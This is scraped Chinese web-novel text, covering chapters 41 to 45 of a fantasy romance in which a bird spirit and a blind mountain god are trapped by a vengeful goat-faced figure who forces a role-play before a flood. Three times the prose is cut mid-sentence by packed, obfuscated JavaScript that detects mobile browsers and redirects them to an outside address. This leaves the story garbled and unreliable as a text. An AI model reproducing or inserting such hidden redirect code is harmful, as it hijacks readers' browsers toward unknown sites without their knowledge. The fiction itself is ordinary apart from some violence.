荣观真依旧双目紧闭。那好看的眉眼紧蹙着,看得时妙原沉默了几秒。 如果……他是说如果啊。 如果现在亲他一口会怎样? 这个想法冒出来的瞬间,时妙原脑海中的天使恶魔砰一下凭空出现,各自端坐在了天平两端。 小恶魔催促道:“你什么时候变这么磨唧了?想亲就亲吧,他欠你那么多,你就算把他嘴巴咬下来又能怎?只要不被发现就好了,反正你也不准备再逃跑了不是么!” 天使气鼓鼓地说:“不准!不行啊妙妙,我们是体面人,趁人之危的事情我们是不做的!但是只亲一口的话会不会太亏?他还有多久能醒,要不要再干点别的?先把他裤子脱了吧,等下他醒了问起来你装傻就可以。” “脱裤子好麻烦啊!上衣扒了意思意思得了。” “哎哟,他都这么久没吃到好的了,你就让让他吧!” 时妙原顶着小东西们的吵嚷声沉思良久,最终下低头在荣观真脸上狠狠地咬了一口。 “唔……!” 荣观真在昏迷中发出了一声闷哼。 “好了!这下子就扯平了。”时妙原对荣观真虚虚挥拳道,“老子陪你玩了这么久过家家,这是我应得的报酬!” 话音刚落,荣观真的睫毛便颤抖了起来。眼看情况不对,时妙原立马就换了副面孔。他极尽温柔之能事地问道:“荣老爷,荣老爷?你醒啦?你现在感觉好些了吗?” 荣观真悠悠睁眼:“我……我在哪里?” “在我心里。” “……啊?” 荣观真捂着脑门坐了起来,时妙原为他绑好红布,调整好神像吊坠的位置,然后拍拍他的肩膀问:“现在还看得到我不?你刚才被带到幻境里了。” “幻境……我有吗?”荣观真气若游丝地问,“你,你的意思是,我刚才在镜子里看到的都是幻觉么?” “对诶诶哎哎哎哎——吗?我不知道呀,你刚才看到了什么哦,能闹得那样厉害!”时妙原捂嘴大叹道,“哎哟,你都不知道那场面有多吓人,老爷你啊是又哭又闹又喊又叫的,我使出了吃奶的力气都差点儿都没按住!不说那个了,你现在感觉好些了么?头还晕不晕?脑袋里还有没有幻觉?实在不行的话,我想办法找点水给你喝喝?” “还好,不用,只是脸好像有点疼。” “哈哈哈,那是你刚才不小心撞到镜子啦。”时妙原笑嘻嘻地说。 他出了一身冷汗。 荣观真拍拍衣袖站了起来。神仙的恢复速度毕竟异于常人,他脸上的伤口掌印不一会儿消失了,表情也很快 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“你恢复好了吗?头不晕了就快点给我走!”时妙原愤怒地挥起了拳头,“你和你老婆要怎么处我管不着,有委屈回去跟你娘哭去!就跟她说你娶错人了,日子过不下去了,现在后悔了想离婚了恨不得马上就净身出户了!快去!快要她赶紧给你找个温柔体贴的对象,去,去!你倒是快去说啊!” “去不了,我妈已经死了。”荣观真平静地说。 时妙原差点一口气没上来:“那她可真是得了大解脱。” “你的手怎么了?”荣观真一把抓住他的手腕,“怎么还流血了?” 时妙原没好气道:“刚才为了救你,把镜子打碎了。” “镜子不是被我撞碎的吗?” “……我负责补刀总可以了吧!”时妙原赶紧甩开荣观真往前走去,“你别废话了,既然醒了咱们就继续找出口吧!接下来你准备去哪?上楼?下去?还是先到房间里找找线索?” “都不要。” “哈啊?” 荣观真抬手指向了那面碎掉的镜子。 “去那儿。”他说。 “怎么,你还没放过它啊?”时妙原面露讶色,“它都碎成这样了,你是要把人家挖出来鞭尸不成?” “你过去看看。” “给你能耐得……还使唤起人来了!” 时妙原嘀嘀咕咕地走上前去,很快他就面色一变:“这是!” 荣观真慢慢悠悠地走到镜前,抬脚踹光了余下所有残片。 几枚不成气候的碎渣落到地上,露出了其后深不见底的空洞。 紧接着他再度唤出掌心火,一条弯曲深邃的地道出现在了两人面前。 “这里居然有个洞?我刚才都没有发现……”时妙原惊掉了下巴,“里头会有什么?我靠,还砌着砖呢!真讲究!” “有什么都先进去再说吧。”荣观真用脚尖拨着地上的碎渣说,“继续走下去指不定还要上什么鬼当,反正这镜子本来也有问题,倒不如去看看里面究竟有什么东西。” 他刚想弯腰进洞,忽然身子不稳,歪了一下。 时妙原眼疾手快地扶住了他。 “我扶着你走吧。”他说着便挽住了荣观真的胳膊,“不过你别误会啊,我对有家室的男人不感兴趣。我只是怕你再摔晕过去,等下在梦里又要被你老婆打而已。” 42. 似笑无泪(一) 地道内的景象稀松平常,时妙原本来做好了大战一场的准备,但进来后愣是连个鬼影子都没见着。 这里温度本来就低,岩壁上又全都砌满了青砖。他一进来就打了个寒颤,好在荣观真体温很高,他便以搀扶的名义理直气壮地紧贴在他身边,如此倒也不觉得有多难受了。 “我靠,但这儿怎么能啥都没有啊……” 时妙原不安分地四处张望着,周围的一切都平静得令人生疑。他们走了近二十分钟,才终于在道路末端看见了一扇木门,时妙原快步走上前去:门漆是明黄色的,除此之外便没有任何特别之处了。 他问荣观真:“要进去看看吗?” “先歇会儿吧。”荣观真摇摇头,找了处墙面倚了上去。他说:“我有点累了。” “行。” 他们相顾无言。 火苗仍在荣观真掌中燃烧,那焰心平稳无波,恰似其主人当下的神情。 “那什么……”“常栖迟。” 他们同时开口,同时顿住,同时闭上了嘴巴。 “你先吧。”荣观真率先作出让步,“你想对我说什么?” “呃……其实也没啥!还是你来吧。”时妙原难得谦让了起来,“我感觉你欲言又止的,好像有一肚子话想对我讲。” “嗯。我是有话想问你。” 时妙原默默站直了些。 “你别紧张,这是个私人问题。”荣观真安抚。 就是因为是私人问题我才紧张呢!时妙原默默咽了口唾沫。 青砖将水滴声放大了数倍,很快他便意识到,那其实并不是水滴,而是他们凌乱无序的心跳。 约莫两三分钟后,荣观真缓缓开口道:“你从前,有没有和谁做过很要好的朋友?” 这是个什么问题? 时妙原一时间竟有些愣神。 他想了半天,吞吞吐吐地说:“啊……这朋友嘛,肯定是有的,人生在世谁没几个知己呢对吧。但你问这个干什么?荣老爷难道是想和我做好朋友吗?哈哈,那我肯定没意见啊,能傍上你我可算是光耀门楣了!” 荣观真点头道:“有就行了,那我也算是没问错人。我就不跟你卖关子了,我想问你的是,如果有个人,他从前和你关系很好,你们曾经亲密无间,在很长一段时间内都互相只有彼此,你们一起经历了很多很多事情,你发誓要永远陪在他身边,他也承诺不论发生什么事都不会离开你……但后来他食言了,他对你做了很过分的事情,你们两个闹掰了,绝交了,再也不见了。就这么一个人,假如许多年后你再见到他,依你的性格你会怎样看待他呢?” 他说完这些,地道中陷入了死一般的寂静。 就连心跳声都消失了,有至少半分钟时间,这里安静得就好像坟墓一般。 时妙原难得没有贫嘴,他好像真的在仔细思考这件事情。 他看起来是那么严肃,以至于连荣观真都不免有些紧张了起来。 这里的光线太差,他们并看不清彼此的表情,时妙原大概是站久了累了,体力支撑不住,便慢吞吞地蹲到了地上。 然后,他噗嗤一声笑了出来。 “你?”荣观真有些错愕,“你笑什么笑?” “哈哈哈哈哈!噗……抱歉,不好意思不好意思,我不是故意的,我只是觉得——呼……你这人可真有意思!” 这鸟笑得连头发丝儿都在打颤,整条地道都回荡着他畅快的笑声,他蹲在地上笑了多久,荣观真就站在旁边看了多久。不知多久以后时妙原终于笑够了,抹了把脸长叹一口气道:“唉!老荣,在回答你之前,我先问你个问题好不好?我想问你,你这说的是你自己的事情吗?” 荣观真立马否认:“不是我,是我一个朋友。还有,别叫我老荣。” “哦哦,那看起来你和你朋友关系还挺紧密啊?” “一般吧。” “那你说的那个人,他现在又在哪里呢?”时妙原问,“那个和你朋友亲密无间,相互扶持,拉钩约好了要相伴终生的人。” 荣观真咳嗽了一声。 他说:“我不知道。” “不知道?” “我跟他又不熟。而且朋友的事情,我怎么能问得那么清楚呢?” “好吧。那你想知道我是怎么想的吗?” “说说看呗。” “我觉得对方应该已经不在乎这些了。” 时妙原扶着墙壁站了起来。 他拍拍身上的灰尘,以一种十分轻松的语气对荣观真说道:“我不知道你朋友和他那位分开了多久,但就算是十天半个月,也足够消磨掉很多东西了。荣老爷啊,人一生就活几大十年,咱们神仙妖怪的寿命虽长,但每分每秒也是要实打实地过的。如果你朋友还在沉湎其中的话,那还是劝他赶紧走出来吧,因为我听你这么说,我感觉那个人如果还活着的话,那么他肯定已经早就不在意过去的事情了。” 荣观真问:“你的意思是,他已经不在乎我了对吗?” 时妙原更正道:“是你朋友。” “……对,是我朋友。所以,所以你是认为,我朋友认识的那个人,已经完全走出来了,已经完全不再关心他了,就算再见到他了也要装作不熟,因为他心里早就没有他了。是这个意思吗?” “不是。” “啊?” 时妙原走出几步,将手搭在了那锈迹斑斑的门闩上。 “我觉得他应该还是在乎的。”他说,“他可能只是还在思考,他很有可能还没完全搞清楚自己的处境。他大概是觉得现在并不是打开天窗说亮话的时候,眼下的处境对他来说也许并不安全。他的顾虑实在是太重了,重到让他不得不假装不在意对方。你懂吧?那种身不由己的感觉。” 荣观真闷闷地说:“我不懂。” “你不懂也没事儿,当事人心里清楚就行了。”时妙原说着作势就要敲门,“你休息好了吗?好了咱们现在就进去吧。” “等等,我还没有问完!” “你朋友还有什么问题?” 荣观真深吸了一口气。 他问:“那在你看来的话,那个人,他现在……他,现在还会恨他吗?” “这个啊,我觉得……” “救命啊————!!!!!” 一阵凄厉的惨叫划破黑暗,时妙原猛地抬头,那声音是从门里传出来的。 “什么情况?!” 荣观真快步走 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16142684|180435||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来,时妙原立马将耳朵贴到了门上,紧接着他小声惊呼道:“好像有人在说话!” 说着,他立马拔出插梢,用力将门推开了一条缝隙。眼看时妙原就要入内,荣观真急忙将他拉到了身后:“你让开!别贸然行动,让白马进去。” 一团白雾应声而来,它在时妙原与荣观真身边缭绕几许,紧接着便凝成实体钻入了门内。 屋内传来了轻盈的马蹄声,那似是实在的步伐,却灵动又仿佛没有边界。荣观真取下木质神像戴到了时妙原脖子上,随后并拢双指抵住了他的额头,一阵暖意涌来,时妙原惊奇地眨了眨眼睛。 “这是山神的祝福,你就当我刚给你开了个光吧。”荣观真放下手说,“神像戴好,别弄丢了。我们就在一起,我的视野不会受影响,我要是迷路了,你也能凭这个找到我。进门后记得沿地上的脚印走,它走过的地方都很安全。” “好!”时妙原紧张地点了点头。 他在心里做足了准备,甚至做好了门一打开出现丧尸群的预期,可当荣观真推门而入如,眼前的场景还是令他浑身的汗毛倒竖了半秒。 “这里是徐知酬家的客厅!”时妙原惊恐地喊道,“我之前借徐知酬的眼睛看过,为什么我们现在又回了这里?这,这还是幻境吗?” 这是个十分普通的客厅。墙上的全家福已经无法看清颜色,吃到一半的可乐鸡翅正在瓷盘中冒着余温,窗外时不时传来青蛙的鼓鸣,两张手绘的京剧脸谱面具头挨着头躺在餐桌一隅。电视机画面定格在了明日的天气预报上:主持人笑容满面地说,接下来一周都将万里无云。 地上有许多微微泛光的足印,而白马却只闻其声不见其影。马蹄行至何处,哪里的地面上就浮现出一串脚印。足迹断在了厨房门口,荣观真吹了声口哨,踢踏声旋即消失不见。 他走上前去掀开珠帘,正准备仔细看看里面的情景,一扭头却发现时妙原已经鬼鬼祟祟地钻到了他的身边。 “你,你别忘了我啊……”时妙原顶着一脑门姹紫嫣红的塑料珠子讨好地笑道,“你别走太远,我有点儿害怕,我靠。” “我不走,但你听见什么声音没有?”荣观真问他。 “声音?这……你别说,是有点儿。” 厨房里弥漫着一股经年累月的油腥味,时妙原刚进门就听见了蚊子似的嗡叫,现在来到厨房后,那声音便更明显了许多。 仔细听,那像极了有人在小声啜泣。 荣观真做口型道:在冰箱里。 “冰箱?” 时妙原正错愕着,却见荣观真后撤几步,稍作蓄力,猛地抬脚踹穿了冰箱门! “哇啊啊啊啊啊啊——!!!” 刹那间,哭喊与尖叫声充斥了整个房间:冰箱里竟然有人!那人身材中等,体格健硕冰箱门破瞬间他僵硬而又惊恐地扭过了头来,看清楚他容貌的那刻,时妙原吓得差一点儿没有站稳:“怎么是你?!” “啊啊,啊啊啊,救……救救……啊啊啊啊啊!” 杜政极近绝望地扭动了起来。 冰箱内空间极为狭小,他的手脚被巧妙地进行了对折。他哭喊的时候脸上不断有冰霜纷落,这让他看起来像极了一块沾满了白糖的冷冻牛奶方糕。 43.似笑无泪(二) 冰箱里的人居然是杜政,《东江祀》剧组的导演! “呜!呜!呜啊,啊啊,啊……”杜政整个人都在不断发抖,他不知道是在冷藏室中待了多久,现在不仅手脚僵硬,满面冰霜,更是没法说出任何有意义的字句来了。 时妙原和荣观真齐心协力把他从冰箱里掏了出来。他们想帮他把关节和四肢活动开,但只要稍微用点力去掰杜政就痛得嗷嗷大叫,看他现在这样别说是恢复正常了,倒不如说还能活着就已经是一个奇迹。 “我靠,这人不会是被吓傻了吧?”时妙原急得抓耳挠腮,“荣老爷,你不是应该已经把他送走了吗?他为什么会被弄到这里来?普通人到这儿居然还有命活吗!等等……剧组其他人不会也在这里吧!” 荣观真也眉头紧锁:“看样子不在!但是你问我他为什么会出现,这个我也说不……” “头前荣老爷热心送走了杜导,只是我有要用到他的地方,所以就又请他过来了。” 厨房外传来一阵轻笑,荣观真与时妙原双双回过头去,一个身穿白衣的男人向他们走了过来。 是那山羊脸的怪人。他抬手掀开珠帘,背着手优哉游哉地走到了三人身前。一看到他,杜政就发出了一连串不似常人的尖啸。 “是你!”时妙原瞳孔瞬间缩小,“老荣,他就是之前偷袭你的那个人!” “好久不见啊,常兄弟。”那山羊人呵呵笑道,“你说话别那么难听,什么偷袭不偷袭的,你之前不也给我摆了一道么?” 荣观真上前一步,将时妙原和杜政都护在了身后。 “你就是须知酬对吧?”他沉声问道,“从一开始就是你在搞鬼,对吗?” “啥玩意儿,他是徐知酬?!”时妙原顿时大惊失色。眼前这怪人生得横瞳白须、头尖脸长,这长相丑陋无比,和回忆里那个青涩害羞的男孩比起来简直可以说是半毛钱关系都没有!就这么一个鬼东西,他能是徐知酬吗? 山羊人捋了捋自己的胡子,他作思索状道:“徐知酬么?好久没人叫这个名字了。如果你想的话,那你就这么叫我吧。” “问题不在于我想不想,而是你是不是。” “嗯?荣观真,听你说话这语气,你好像不是很清楚自己的处境啊。” 山羊人——就叫他徐知酬吧,轻轻拍了拍手掌。 啪,啪,啪。钨丝灯芯滋啦啦地亮了起来,就在同一时间,时妙原惊恐地发现他好像没办法控制自己的身体了,而荣观真也一样动弹不得。 珠帘无风自动,家常菜的香气突兀而又缱绻。客厅内光线昏黄,时妙原定睛一看,眼前的景象令他如遭雷劈。 所有人都在这里了。 客厅的餐桌不过半米多长,却已经有四个人挤在了旁边。荣承光和遥英分坐在餐桌两侧,关亭云和关居星手握竹筷面如菜色,小护法们的脸上写满了不安,而荣承光却愤怒得像一头刚从斗兽场上下来的狮子。一条有巴掌宽的伤口横亘在他的额头上,遥英虽没有受伤,但荣承光脸上血流得越多,他的表情便更绝望几分。 他们都无法自由活动,当然也说不出任何话,这一切的罪魁祸首是谁自然不必多说,徐知酬扫视客厅一圈,转身对厨房内三人说道:“大家都到了,你们也过去吧。” 话音刚落,时妙原便感到了一阵不容反抗的推力。他和荣观真踉踉跄跄走到餐桌尽头坐来,而杜政也慢吞吞地坐到了一张天蓝色腈纶布面的片场用折叠椅上。不过几秒钟时间而已,他的身体已经恢复了柔软。 屋外突然亮如白昼,原来是满月好奇地凑到了窗边。那圆盘似的月轮既像是眼睛,也仿若摄像机镜头内闪烁不已的光圈。徐知酬走到杜政身后,将手搭到他的肩上,以一种甜腻得令人恶心的语调请求道: “杜导演,今天就辛苦您来坐镇片场了。” 杜政甚至忘记了要发抖。 徐知酬捏捏他的肩膀,转头对关亭云和关居星说:“你们演我的弟弟和妹妹。” “呜……?”两位小护法茫然地眨了眨眼睛。 然后徐知酬指向遥英:“你演我。” 荣承光从喉管中挤出了几丝怒吼,徐知酬见状端起桌上的搪瓷茶杯举到他头顶,从头到脚浇遍了他的全身。 “至于你,你当然还是荣承光。”他兴致勃勃地说,“你是东阳江水神,没人比你更适合这个角色了。” 说完,他顶着荣承光吃人般的眼神走到了荣观真与时妙原身边。 徐知酬一靠近,时妙原便浑身紧绷了起来。在顶灯的照射下,那张诡异瘦削的羊脸上没有一丝一毫的生气。这难道是面具吗?他正纳闷着,突然感到喉头猛地一松——他能说话了,荣观真也咳嗽了好几声。 “你俩就演我的父母吧。”徐知酬对他们。 “不是?”时妙原震惊地问,“我看起来哪里像你妈啊?!” “你这代入得还挺自觉。” 徐知酬打了个响指,客厅墙上的全家福突然变成了黑白的双人半身照,那是一对笑得慈祥且憨厚的中年男女。照片下方的香炉里插了六柱劣质的线香,其中有两根快燃尽了,另外四根的却还像新拆出来的一样。 时妙原盯着那照片看了半天,最终认命地说:“……好吧。当妈就当妈吧,好歹你没给我照片弄成黑白的挂上去。” 电视机画面开始扭动,主持人字正腔圆的嗓音在客厅内回响了起来:“观众朋友们好,以下是慧阳当地天气预报。接下来三天慧阳县气温在30到32摄氏度之间,本县及周边大部地区都将保持万里无云,万里无云,万里无云……” 说到“万里无云”这个词时,她的报幕声莫名卡了壳。徐知酬拍了拍电视机机身,主持人不断重复的笑容便变成了沙沙作响的雪花。 他有些腼腆地说:“抱歉啊,家里东西旧,让大伙见笑了。别紧张,今天我把大家叫回来不为别的,只是因为外面马上就要变天了,我想请各位来避避雨。” 轰隆隆。窗外传来了应景的雷声。徐知酬侧耳倾听片刻,随后他继续说道:“接下来三天都将是万里无云的好天气,可是十分钟后这间屋子就将被洪水冲垮。因为有人破坏了山神的封印,他在一千年前镇下的恶兽现正在为祸四方。洪水会冲垮方圆百里之内所有的楼房,整个镇子的人都会在这场大雨中命丧黄泉。不过别担心,我们并非走投无路。我现在想请你做一个选择:如果现在你有一艘船,但是却没法带走这里的所有人,你会选择让谁活下来呢?爸爸。” “……你这是在喊我吗?”荣观真的嘴角抽搐了两下。 徐知酬耸肩道:“没办法,我这个人比较入戏。” “那什么,儿啊,现在早就已经不流行电车难题了哦。”时妙原弱弱地举起了手来,“是我的话 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16149735|180435||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,我会选择一脚油门把所有人都给轧死,哈哈。” “好主意,那你呢?”徐知酬问荣观真,“你相好的说要大家一起同归于尽,这时候你会怎么选?” 荣观真摇头道:“我不知道这有什么好选的。” “因为你不选他们就都会死。”徐知酬说,“你们在我的地盘上,外面全是乌枫镇死于洪水的亡魂,而我只要让重身水进来,用不了多久就连你那个善于操控水文的弟弟也会一命呜呼。你们的法术在我这起不了什么作用,但是你并非只有坐以待毙这一条路可走。荣观真,我给你选择的机会,你今天可以从我这带走两种人:一是你认为重要的人,二是认为你重要的人。如果你不知道该怎么区分,那就由我来帮你解释清楚好了。” 说着,他绕到时妙原身后,将双手虚虚地卡在了他的脖子上。 时妙原立马尖叫:“你干什么!” “是他,还是他们所有人,你有十分钟时间决定。”徐知酬对荣观真说。 “好啊你个徐知酬,你还真想把你娘我给挂墙上去啊!”时妙原登时破口大骂,“我跟你无冤无仇吧?我是杀过你爷还是害过你奶啊?天要下雨江要发水谁淹死你的你找谁报仇去啊!你没事儿找我晦气干嘛?你红豆吃多了相思病犯了是吧!你羡慕我好看?嫉妒我漂亮?看不惯我日子过得好?我呸!你这丑八怪,王八蛋,脸丑心更恶的混账玩意儿!你把定身给我解开!你解开,老子现在立马就啄瞎你的眼睛你信不信!我去你的——” 徐知酬合拢十指,时妙原立马被封住了嘴巴。 “还剩五分钟。他刚才骂得有点久,你现在没多少时间可犹豫了。”他对荣观真说。 “你想让我陪你过家家,总得先告诉我为什么吧?”荣观真无奈地问,“莫名其妙把我们带到这里,二话不说造了堆奇怪的幻境,又是重身水又是十恶大败狱,现在又想让我玩这种无聊的角色扮演游戏。我是可以选,但这对我来说有什么好处呢?” “不愧是空相山神,说话做事就是通透!”徐知酬对他竖起了大拇指,“曾有个人总跟我提起你,他说你很特别,很不同凡响,和外面那些只知道张着嘴要吃人的破落山神一点都不一样,那时我还不相信……但百闻不如一见,现在我发现了,您果真与众不同。” 说到“空相山”这三个字的时候,他有意无意地咬紧了牙关。 荣观真挑眉道:“我的山怎么你了吗?听你这语气,我们之间好像有什么我不知道的过节。” “过节?还好吧。我和你无冤无仇,你弟弟欠我的倒真不少。”徐知酬指着荣承光说,“毕竟,我父母就是被他害死的。” “唔唔唔唔唔!”荣承光又叽里咕噜地吼了起来,徐知酬并没有搭理他,而是径直走到荣观真身边,一把扯下了他脸上的红布。 布条应声而落,荣观真下意识眯起了眼睛。当然,这个动作并没有任何实质上的意义。 徐知酬盯着他的脸看了很久。然后,他噗嗤一声笑了出来。 “真难看啊,荣观真。堂堂空相山神,居然会为一个罪人把自己弄成这个样子。”他幸灾乐祸地说,“我就不明白了,为什么当初非得要杀时妙原的是你,他没了就寻死觅活的怎么也是你。我本以为外面流传的那些说法都是夸大其词,但亲眼见过之后我才知道,咱们荣老爷啊……竟然真的是这样万里挑一的情种!” 44.似笑无泪(三) 屋内一片死寂。 吊灯吱悠悠在头顶乱晃,时妙原的大脑已经接近停摆。 他刚刚听到了什么? 荣观真,寻死觅活? 为了他? 听徐知酬的意思,荣观真眼睛瞎了,好像和他有脱不开的关系? 这怎么可能? 时妙原在内心疯狂大叫:这种事情根本就不应该发生啊! 虽然,虽然他也很想知道到底是什么东西能让荣观真失明,虽然他也知道以荣观真的性格就不可能在他死后过得多开心……但是,但是他明明记得他还活着那会荣观真还挺有活力的,他当时甚至觉得荣观真还能再去十恶大败狱里杀几只金乌解解气,怎么他再回来事情就变成这个样子了呢?! 不合理,这完全不合理!可……可是先不论徐知酬这话到底有几分真假,为什么荣观真看起来一点反驳的意思都没有啊? 疑惑的不止有时妙原,荣承光与遥英亦震惊万分,而比起他们两个,关亭云和关居星脸上则更多的是不忍。 他们难道知道什么内情吗? 作为风暴的中心,荣观真本人却并没有太大反应。他静静地坐了许久,直到徐知酬终于闭嘴,他才缓缓开口道: “陈芝麻烂谷子的事情,我自己都快没印象了,你倒是挺津津乐道的啊?” 徐知酬“嚯”了一声,他惊奇地问:“荣老爷,你该不会也变得像你弟弟一样健忘了吧?你这几年做的荒唐事,不仅是我,这天上地下所有长眼睛的东西可都仔细全看着呢。你说我津津乐道?那不是的,是我们所有人,我们全都在好奇你到底还能整出什么花样来!” “能有什么花样?不过是换着法子折腾自己罢了。”荣观真竟然笑了出来,“我玩我的,你过你的,我瞎我的,你看你的,这样有什么问题?我做什么难道还要向你报备吗?你算什么东西。” 徐知酬被这么说也不恼,他乐呵呵地应承道:“对对对,我和你比起来确实什么都不是,但时妙原呢?他总归是你的老相好吧?你杀了时妙原,又为他自废神力,还培养了一个鸟本事都没有的继承者妄图取代自己。你为他闹出了那么多笑话,结果到如今连眼睛都看不见了,还要绑着这么块破布招摇过市!怎么,你是有多见不得人,你是生怕时妙原半夜回魂又再见到他不成!” 时妙原的大脑“轰”地炸响了开来。 一只无形的手闯进他的脑海,将所有的思绪和情绪都搅了个天翻地覆。 什么自废神力? 什么取而代之? 徐知酬都在说什么啊…… 为什么他一个字都听不明白? 没来由地,时妙原想起了那匹从小陪荣观真长大的白马。 最初在藏仙洞外,他在白马身上看到了大大小小数不清的伤疤。只是当初他一心想要逃跑,后来又一直疲于应付荣观真的怀疑,故而也没把这件事太放在心上。以至于一直到现在,时妙原都没有仔细想过这样一个问题: 在他离开的这九年间,荣观真到底都经历了什么? 不,应该说…… 荣观真究竟对自己做了什么? 老式电灯泡滋滋啦啦连闪了好十几下,光线忽明忽暗,荣观真脸上却始终没有一丝一毫的波澜。 见他如此油盐不进,徐知酬终究是有些泄了气。 “唉,算了!既然你不想提,那我也没必要再当着这么多人面揭您的短了。还是继续刚才的话题吧,荣观真,你到底想要选谁?” 他指着在场众人说道:“亲弟弟,亲护法,两个人类,还是这只除了嘴巴能讲之外一无是处的笨鸟?我提醒你一下,你的时间已经不多了,如果是我,我就不会犹豫这么久。” 荣观真点点头,他似乎真的认真思考了起来。 良久,他轻声问道: “如果我没听错的话,你这是在威胁我吗?” 徐知酬微微一愣。 “嗯……谁说不是呢?” 荣观真问:“你想从我这得到什么?” “你的选择。” “我的选择?” “对。我想听听,传说中无惘无畏,无所悔移的空相山神,在这种情形下要如何作出抉择。” 说着,徐知酬将双手背到身后,慢慢悠悠地在餐桌边晃荡了起来。 “荣观真,这些年来,我从很多人听说过有关于你的故事。我听闻你天生受祝,从出生起就注定了要继承山神衣钵。我听说你不惑无惘,即便为千夫所指也绝不回头悔改。我想着百闻不如一见,不如借此机会来亲自探一探荣老爷的底细。我想知道你在这种情况下会如何自处,我倒是要看看,你还能怎样掩耳盗铃般地麻痹自己说,你永不后悔。” “原来如此。”荣观真颔首道,“那如果我告诉你,我决定让他们都去死呢?” 徐知酬惊讶地捂住了嘴巴:“你竟然完全不在乎他们吗!” “我凭什么要在乎?” “哦——那我明白了。你的意思是,你只关心他的死活!” 说完,徐知酬抓住时妙原的头发将他掼到桌上,以迅雷不及掩耳之势卸掉了他的一条胳膊! “呃!!!” 时妙原剧烈地挣扎了起来。疼痛来得猝不及防,他额头上瞬间布满了冷汗,要不是徐知酬使计不让他说话,他现在骂得肯定要比之前还要脏几百倍。 徐知酬一松开手,他的右臂就软绵绵地垂在了身侧。 “还不选吗?荣老爷。”徐知酬将手搭在时妙原的左肩上,他一边比划关节的位置,一边饶有兴致地问荣观真道:“我猜你选不了,是吧?因为他对你来说很重要,其他人你也同样不想放下。你什么都不愿意失去,什么都想要最好的,你总是想做普度众生的那个人,但其实你心里清楚……” 他俯下身子,凑到荣观真面前,以只有彼此能听见的声音说道:“其实你心里清楚,你永远都可以为了一个人,让其他人全部都去死!” “你继续。”荣观真平静地说。 “好,那我就继续!我还要说什么来着?哦,我还要说,你之所以不选,是因为你不敢让别人知道你是个多么偏心偏执的混账!你根本就不配做神,只不过是因为命好了一点而已就在山里横行逍遥了这么多年!你现在是这样,从前是这样,今天是这样,一千年前两千年前全部都是一样!” “哦?果然不是我的错觉,你是真的很关心我的空相山呢。”荣观真挑了挑眉,“你真的是徐知酬吗?我怎么感觉你现在讲的话,没有一句像是他能说得出口的呢?” “哈!你不会以为你很了解我吧!”徐知酬大笑出声,“到现在了你竟然还敢装傻!荣观真,我告诉你,你今天会在这里都是因为你对不起我!你对不起我全家,对不起乌枫镇所有人,你对不起的人实在太多,但你猜 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徐知酬一把捏住杜政的脸蛋,他在杜政的大叫中接近疯狂地怒吼道:“荣观真!你为你弟弟做了那么多伤天害理的事情,可他却根本就不把你放在眼里,你难道不觉得自己简直就是个笑话吗!” 什么?!时妙原瞬间大惊,而荣承光也不可置信地瞪大了眼睛。在场众人无不心神俱震,与此同时,远方传来了一阵震耳欲聋的雷鸣。 桌上的餐具开始发抖,老式吊灯晃动的幅度也在不断变大。有什么东西正在迫近,徐知酬松开杜政,揪住荣观真的衣领,一字一句地对他说道:“我劝你到死都不要忘记你曾经做过的事。” “我不会忘的。” “我期待你跪在我脚下痛哭流涕向我认错的那天!” “这你倒是可以省省。” “全部都是你和你弟弟的错!!!” “啊。”荣观真微微仰起了下巴,“那你还是全都算在我头上好了。” “好,那我就全都算在你头上!” 徐知酬猛地抄起一只茶杯,将他砸了个头破血流。紧接着他一脚推翻荣观真的椅子:“时间到了,你没有选择机会了!你选择谁也不救,那你们就全都给我下地狱去吧。十恶大败狱就是为你而开的!!!” 洪水破窗而入。 重身水瞬间席卷满屋,其中还夹杂着无数怨灵亡魂的哀嚎。水位极速升高,不一会儿就淹没了在场所有人的脚踝。时妙原不顾乱流冲刷努力抬眼望去,他见到徐知酬死死地掐住了荣观真的脖子,而荣观真却张开嘴,面带笑意地对他说了些什么。 彻底沉入水中之前,时妙原勉强看清了他的口型。 荣观真说的是: 你继续演。 — — 暴雨倾盆。 乌云翻涌不息,东江咆哮不止。 河坝已然溃决,天地一片苍茫。 雨注如万马奔腾,有一名少年正在山坡上不断地奔跑。 他在呼唤亲人的名字。 “徐知甄!!!” 他撕心裂肺地呼喊道。 “徐知元——!!” “爸爸……妈妈……” “有没有人……咳咳咳咳!有没有人能听到我说话!” “有没有人能回答我!” “老天爷啊,为什么雨会下得这么大……” “爸爸,妈妈,妹妹,弟弟……你们……你们究竟到哪里去了啊————!!!” 45.似笑无泪(四) “醒了醒了,他终于醒了!” “唔……” 徐知酬悠悠转醒,他发现有许多人正焦急地围在他身边。其中一个理着寸头的中年男人在不断地呼唤着他的名字,在看清他的脸之后,徐知酬先是愣了两秒,然后,他哇地一声哭了出来:“爸!!!” “爸爸在这!”徐保英紧紧地搂住了他,“知酬啊,你别害怕,爸爸在这儿呢啊!” 